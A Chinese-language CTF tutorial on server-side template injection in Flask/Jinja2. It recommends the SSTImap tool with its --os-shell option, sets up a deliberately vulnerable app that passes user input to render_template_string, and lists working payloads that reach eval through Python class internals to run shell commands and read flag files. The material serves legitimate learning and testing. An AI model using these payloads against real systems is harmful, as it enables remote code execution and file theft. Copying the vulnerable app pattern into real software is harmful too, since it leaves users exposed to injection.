CTF ssti零基础(一) 模块注入的payload

这里先推荐一个还不错的工具

git clone https://github.com/vladko312/SSTImap.gitcd SSTImappip install requirements.txt

命令还是挺多的
有点像sqlmap但是这个暴力多了不用加那么多的参数

./sstimap.py -u http://example.com
./sstimap.py -u http://example.com --os-shell

支持的模板引擎

模板引擎	远程代码执行	盲注	代码评估	文件读取	文件写入
Mako	✓	✓	Python	✓	✓
Jinja2	✓	✓	Python	✓	✓
Python (code eval)	✓	✓	Python	✓	✓
Tornado	✓	✓	Python	✓	✓
Nunjucks	✓	✓	JavaScript	✓	✓
Pug	✓	✓	JavaScript	✓	✓
doT	✓	✓	JavaScript	✓	✓
Marko	✓	✓	JavaScript	✓	✓
JavaScript (code eval)	✓	✓	JavaScript	✓	✓
Dust (<= dustjs-helpers@1.5.0)	✓	✓	JavaScript	✓	✓
EJS	✓	✓	JavaScript	✓	✓
Ruby (code eval)	✓	✓	Ruby	✓	✓
Slim	✓	✓	Ruby	✓	✓
ERB	✓	✓	Ruby	✓	✓
Smarty (unsecured)	✓	✓	PHP	✓	✓
Smarty (secured)	✓	✓	PHP	✓	✓
PHP (code eval)	✓	✓	PHP	✓	✓
Twig (<=1.19)	✓	✓	PHP	✓	✓
Freemarker	✓	✓	Java	✓	✓
Velocity	✓	✓	Java	✓	✓
Twig (>1.19)	×	×	×	×	×
Dust (> dustjs-helpers@1.5.0)	×	×	×	×	×

但是利用工具梭哈是没有灵魂的，我的ssti也比较烂所以现在开始学

先起一个flask环境

pip install flask

写个文件app.py

from flask import Flask
from flask import request
from flask import render_template_stringapp=Flask(__name__)@app.route('/',methods=['GET','POST'])         
def index():template=''' <p>Hello %s </p>'''%(request.args.get('name'))return render_template_string(template)      # 渲染为html内容if __name__ == '__main__':          # 如果作为脚本运行，而不是被当成模块导入app.run(host='0.0.0.0')

python3 app.py

成功，那么继续

解释

先从简单的解释一下

{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('tac /f*').read()")}}()     当前对象x.__class__       x对应类    __bases__        所有基类x.__subclasses__          x的所有子类             __init__      进行初始化
__init__.__globals__           全局的方法、类以及模块
__builtins__          包含eval的模块

诶那么我们再看看思路

思路

拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

怎么拿基类

().__class__.__bases__:
这个属性返回的是一个元组，包含了当前类的所有直接基类。如果一个类只继承自一个基类，这个元组将只包含一个元素；如果有多个基类（即多继承），元组中则会有多个元素，分别对应这些直接基类。这适用于了解一个类的多继承结构。().__class__.__base__:
相比之下，这个属性返回的是单个对象，即当前类的单一直接基类。在单继承的情况下，这与().__class__.__bases__[0]得到的结果相同。但是，如果一个类是多继承的，使用__base__只会提供第一个直接基类的信息，忽略了其他基类。这意味着它更适合于简单继承结构的查询

所以选择用bases
找子类我们就找其中有eval的

().__class__.__bases__[0].__subclasses__()
显示出所有子类

锁定目标

找出所有的function\module\class

找到eval

写命令

还有一种是直接使用config也可以

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}config是一个非常重要的特性，用于存储应用的配置信息。Flask应用通过flask.Flask类的实例来管理，而配置通常是通过这个应用实例的config属性来设置和访问的。

常用

x表示基类

- codecs模块
x.__init__.__globals__.__builtins__.['eval']("__import__('codecs').open('/app/flag').read()") - pathlib模块
x.__init__.__globals__.__builtins__.['eval']("__import__('pathlib').Path('/app/flag').read_text()") - io模块
x.__init__.__globals__.__builtins__.['eval']("__import__('io').open('/app/flag').read()") - open函数
x.__init__.__globals__.__builtins__.['eval']("open('/app/flag').read()") 

下面这个会一直更新，因为慢慢积累

有eval的类
<class '_frozen_importlib._ModuleLock'>
<class 'os._wrap_close'>